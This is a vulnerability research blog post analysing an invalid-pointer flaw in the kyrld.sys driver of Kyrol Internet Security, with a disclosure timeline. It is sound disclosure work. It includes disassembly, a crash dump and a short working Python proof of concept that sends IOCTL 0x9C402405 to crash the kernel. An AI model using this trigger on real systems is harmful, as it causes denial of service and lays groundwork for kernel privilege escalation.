Interested in x86 Reverse Engineering and Vulnerability Research.

(0-Day) Kyrol Internet Security (2015) - kyrld.sys Driver Invalid Pointer Vulnerability

04 Dec 2019 » security, vulnerability


Kyrol Internet Security (2015) is an Antivirus product made in Malaysia. The product basically cover most of the basic Antivirus features including a scanning engine, database update and few more other stuff. This writeup, I will go with the other vulnerability which is quite trivial to spot, an invalid pointer in IOCTL handling. You might find this almost similar to the previous writeup.

Technical Analysis

A vulnerability in kyrdl.sys driver has been discovered in Kyrol Internet Security (2015). The vulnerability exists due to insufficient input buffer validation when the driver processes IOCTL codes 0x9C402405 using METHOD_NEITHER and due to insecure permissions allowing everyone read and write access to privileged use only functionality. Attackers can exploit this issue to execute arbitrary code in kernel space or cause Denial of Service (DoS).

We can use WinObj by Sysinternals to verify the object device are indeed accessible by user-mode. In the “GLOBAL??”, we can scroll until we see “10774948FAA234777974ED537F346B29F” which is work as SymbolicLink to device “1036EC9A3100C4296A350F32080965C40”. As we analyzed before, it creates a symbolic link to “10774948FAA234777974ED537F346B29F”. Verifying the security access, we can see the permission for “1036EC9A3100C4296A350F32080965C40” is open to Everyone with capability to Read and Write, which means any user can send / trigger IOCTL directly to the kernel driver. We will see the DACL object in debugger later. Continue sending to IOCTL via user-mode to the kernel to trigger BSOD. The first issue as shown below. Successful sending the IOCTL resulting this on our debugger (WinDBG):

BugCheck 50, {ffffce8f23002000, 0, fffff80380af329c, 2}

*** WARNING: Unable to verify timestamp for kyrdl.sys
*** ERROR: Module load completed but symbols could not be loaded for kyrdl.sys

Could not read faulting driver name
Probably caused by : kyrdl.sys ( kyrdl+329c )

...  cut here ... 

Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arg1: ffffce8f23002000, memory referenced.
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
Arg3: fffff80380af329c, If non-zero, the instruction address which referenced the bad memory
Arg4: 0000000000000002, (reserved)

... cut here ...

1: kd> .trap 0xfffffb8f885645a0
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=0000000000054bf7 rbx=0000000000000000 rcx=ffffce8f22d5c040
rdx=ffffce8f3141ca10 rsi=0000000000000000 rdi=0000000000000000
rip=fffff80380af329c rsp=fffffb8f88564730 rbp=ffffce8f292c66f0
 r8=0000000000000fff  r9=ffffb801a8c56000 r10=0000000000000002
r11=fffffb8f885646d0 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei ng nz na po nc
fffff803`80af329c 488b44c104      mov     rax,qword ptr [rcx+rax*8+4] ds:ffffce8f`23001ffc=????????????????

The reason user mode can send trigger the IOCTL is the Security Descriptor access open to “Everyone”:

kd> !sd fffff8a000087930 0x1
->Revision: 0x1
->Sbz1    : 0x0
->Control : 0x8814
->Owner   : S-1-5-32-544 (Alias: BUILTIN\Administrators)
->Group   : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
->Dacl    : 
->Dacl    : ->AclRevision: 0x2
->Dacl    : ->Sbz1       : 0x0
->Dacl    : ->AclSize    : 0x5c
->Dacl    : ->AceCount   : 0x4
->Dacl    : ->Sbz2       : 0x0
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x14
->Dacl    : ->Ace[0]: ->Mask : 0x001201bf
->Dacl    : ->Ace[0]: ->SID: S-1-1-0 (Well Known Group: localhost\Everyone)

Vulnerability Analysis

DriverEntry starts at 0x19478 and ends at 0x19491. It first perform some bug checking at “sub_1941C”. This section contains descriptions of the common bug checks, including the parameters passed to the blue screen. It also describes how you can diagnose the fault which led to the bug check, and possible ways to deal with the error. If it pass, it will continue the execution until address 0x19491 which is a ump instruction to function “sub_19010”.

INIT:0000000000019478                 sub     rsp, 28h
INIT:000000000001947C                 mov     r8, rdx
INIT:000000000001947F                 mov     r9, rcx
INIT:0000000000019482                 call    sub_1941C	  ; call to perform bug checking, etc.
INIT:0000000000019487                 mov     rdx, r8	  ; continue executing here after pass bug checking
INIT:000000000001948A                 mov     rcx, r9
INIT:000000000001948D                 add     rsp, 28h
INIT:0000000000019491                 jmp     sub_19010	  ; jump to sub_19010
INIT:0000000000019491 DriverEntry     endp	

We continue analyzing at the “sub_19010”. The address for the function start from 0x19010 and ends at 0x19470. Starting at the address 0x19023 until 0x19044, the driver perform an initializes of a resource variable. According to MSDN, “You can use the ERESOURCE structures to implement read/writer locking in your driver. The system provides a set of routines to manipulate the ERESOURCE structures, which are documented in this section.”

INIT:0000000000019023                 lea     rcx, Resource   			; Resource
INIT:000000000001902A                 call    cs:ExInitializeResourceLite
INIT:0000000000019030                 lea     rcx, stru_162D0 			; Resource
INIT:0000000000019037                 call    cs:ExInitializeResourceLite
INIT:000000000001903D                 lea     rcx, stru_16338 			; Resource
INIT:0000000000019044                 call    cs:ExInitializeResourceLite

At the address 0x1904A until 0x1908E, it call IoCreateDevice and creates a device object for use by a driver. It is initialized through the RtlInitUnicodeString API. “Device” string is a device name in the object manager. After successfully creating the object, it proceeds to DRIVER_OBJECT processing.

INIT:000000000001904A                 lea     rdx, SourceString ; "\\Device\\1036EC9A3100C4296A350F3208096"...
INIT:0000000000019051                 lea     rcx, DeviceName ; DestinationString
INIT:0000000000019058                 call    cs:RtlInitUnicodeString
INIT:000000000001905E                 lea     rdx, DeviceObject
INIT:0000000000019065                 mov     [rsp+30h], rdx  ; DeviceObject
INIT:000000000001906A                 mov     byte ptr [rsp+28h], 0 ; Exclusive
INIT:000000000001906F                 mov     dword ptr [rsp+20h], 100h ; DeviceCharacteristics
INIT:0000000000019077                 mov     r9d, 22h        ; DeviceType
INIT:000000000001907D                 lea     r8, DeviceName  ; DeviceName
INIT:0000000000019084                 xor     edx, edx        ; DeviceExtensionSize
INIT:0000000000019086                 mov     rcx, [rsp+0D0h] ; DriverObject
INIT:000000000001908E                 call    cs:IoCreateDevice

Analysis of our IRP dispatch routine with its major functions (below). At this point we know that the handler can perform device control of IRP (0x70), close (0x80) and query security information value (0xE).

INIT:00000000000190CF                 mov     rcx, [rsp+0D0h]
INIT:00000000000190D7                 lea     rax, sub_18660	; "sub_18660" act as IRP handler
INIT:00000000000190DE                 mov     [rcx+70h], rax	; 0x70 = IRP_MJ_DEVICE_CONTROL 
INIT:00000000000190E2                 mov     rcx, [rsp+0D0h]
INIT:00000000000190EA                 lea     rax, sub_18660	; "sub_18660" act as IRP handler
INIT:00000000000190F1                 mov     [rcx+80h], rax	; 0x80 = IRP_MJ_CLOSE
INIT:00000000000190F8                 mov     rcx, [rsp+0D0h]
INIT:0000000000019100                 lea     rax, sub_186E0	; "sub_186E0" act as IRP handler
INIT:0000000000019107                 mov     [rcx+0E0h], rax	; 0xE = IRP_MJ_QUERY_SECURITY

Then it proceed creating another device at address 0x1910E and use the value from address 0x191AC.

INIT:000000000001910E                 lea     rax, aDosdevices  ; "\\DosDevices\\"
INIT:0000000000019115                 mov     [rsp+0C8h+anonymous_1], rax
INIT:000000000001911D                 lea     rax, word_16130  ; space for the device string created
INIT:0000000000019124                 mov     [rsp+0C8h+anonymous_2], rax
INIT:000000000001912C                 mov     rax, [rsp+0C8h+anonymous_2]
INIT:0000000000019134                 mov     [rsp+0C8h+anonymous_3], rax
... cut here ...
INIT:00000000000191AC                 lea     rsi, a10774948faa234 ; "10774948FAA234777974ED537F346B29F"
INIT:00000000000191B3                 mov     ecx, 44h
INIT:00000000000191B8                 rep movsb

Successfully creating, it then call the device string created to initialized and create a symbolic link to the device object.

INIT:00000000000191BA                 lea     rdx, word_16130 ; SourceString
INIT:00000000000191C1                 lea     rcx, SymbolicLinkName ; DestinationString
INIT:00000000000191C8                 call    cs:RtlInitUnicodeString
INIT:00000000000191CE                 lea     rdx, DeviceName ; DeviceName
INIT:00000000000191D5                 lea     rcx, SymbolicLinkName ; SymbolicLinkName
INIT:00000000000191DC                 call    cs:IoCreateSymbolicLink

Most of the IRP parametres are in the IO_STACK_LOCATION. A driver accesses its IO_STACK_LOCATION using IoGetCurrentIrpStackLocation routine. This part can be treat as input parameter. Current stack location as in following code:

PAGE:000000000001877A                 cmp     [rsp+68h+var_14], 9C402405h
PAGE:0000000000018782                 jz      short loc_187B4

Triggering the IOCTL 0x9C402405 required another parameter in order for it to successfully trigger.

PAGE:00000000000187B4                 cmp     [rsp+68h+var_38], 0
PAGE:00000000000187B9                 jz      short loc_187EA
PAGE:00000000000187BB                 mov     rax, [rsp+68h+Irp]
PAGE:00000000000187C0                 mov     rax, [rax+18h]
PAGE:00000000000187C4                 mov     [rsp+68h+var_48], rax
PAGE:00000000000187C9                 call    sub_13350
PAGE:00000000000187CE                 mov     rcx, [rsp+68h+var_48]
PAGE:00000000000187D3                 call    sub_13230
PAGE:00000000000187D8                 call    sub_13370
PAGE:00000000000187DD                 mov     r11, [rsp+68h+Irp]
PAGE:00000000000187E2                 mov     qword ptr [r11+38h], 0

Final path is at “sub_13230” and the root cause of the vulnerability:

.text:0000000000013230                 mov     [rsp+arg_0], rcx
.text:0000000000013235                 sub     rsp, 48h
.text:0000000000013239                 mov     rax, [rsp+48h+arg_0]
.text:000000000001323E                 mov     [rsp+48h+var_28], rax
.text:0000000000013243                 mov     edx, 1
.text:0000000000013248                 lea     rcx, qword_163A8
.text:000000000001324F                 call    sub_11180
.text:0000000000013254                 mov     [rsp+48h+var_20], 0
.text:000000000001325D                 jmp     short loc_1326D

... cut here ...

.text:000000000001325F loc_1325F:                              ; CODE XREF: sub_13230+89j
.text:000000000001325F                 mov     rax, [rsp+48h+var_20]
.text:0000000000013264                 add     rax, 1
.text:0000000000013268                 mov     [rsp+48h+var_20], rax

... cut here ...

.text:000000000001326D                 mov     rax, [rsp+48h+var_28]
.text:0000000000013272                 mov     eax, [rax]
.text:0000000000013274                 cmp     [rsp+48h+var_20], rax
.text:0000000000013279                 jnb     short loc_132BB
.text:000000000001327B                 mov     edx, 10h        ; NumberOfBytes
.text:0000000000013280                 xor     ecx, ecx        ; PoolType
.text:0000000000013282                 call    cs:ExAllocatePool  ; allocate 0x10 
.text:0000000000013288                 mov     [rsp+48h+var_10], rax  ; corrupted pointer starts here
.text:000000000001328D                 mov     rdx, [rsp+48h+var_10]  ; we can control here 
.text:0000000000013292                 mov     rcx, [rsp+48h+var_28]  ; we can control here
.text:0000000000013297                 mov     rax, [rsp+48h+var_20]  ; we can control here, RAX will cause pointer corrupted
.text:000000000001329C                 mov     rax, [rcx+rax*8+4]     ; when perform a check, an invalid pointer happened here
.text:00000000000132A1                 mov     [rdx], rax
.text:00000000000132A4                 mov     rdx, [rsp+48h+var_10]
.text:00000000000132A9                 add     rdx, 8
.text:00000000000132AD                 lea     rcx, qword_163A8
.text:00000000000132B4                 call    sub_11050


Few lines of Python should sufficient enough to trigger the vulnerability. The bug itself is a read primitive so I will leave the rest to you to figure out.

import ctypes, sys
from ctypes import *
kernel32 = windll.kernel32
hDevice = kernel32.CreateFileA("\\\\.\\10774948FAA234777974ED537F346B29F", 0xC0000000, 0, None, 0x3, 0, None)
buffer = "A"*2048
buffer_length = len(buffer)
kernel32.DeviceIoControl(hDevice, 0x9C402405, buffer, buffer_length, None, 0, byref(c_ulong()), None)

Disclosure timeline

2019-01-02 - Reported to Kyrol Labs (via email)
2019-01-04 - Vendor ack but they seems to be confuse what is happening.
2019-04-18 - Ask for update, they said give another 2 weeks.
2019-04-18 - NACSA steps in (Thanks Abu!). Video conferencing with the NACSA (twice!).
2019-07-03 - Second meeting with NACSA and vendor. Vendor told us they will come up with new product by October 2019.
2019-09-01 - Third meeting with NACSA and vendor (before we presenting at POC in Korea). Kyrol couldn't release the new product at that time. Considering it as 0-day!
2019-11-07 - We present our findings in POC conference in Korea.
2019-12-04 - Full disclosure. Will look forward to request CVE's for this :)
2019-12-17 - CVE assigned, CVE-2019-19820.

Happy Hacking!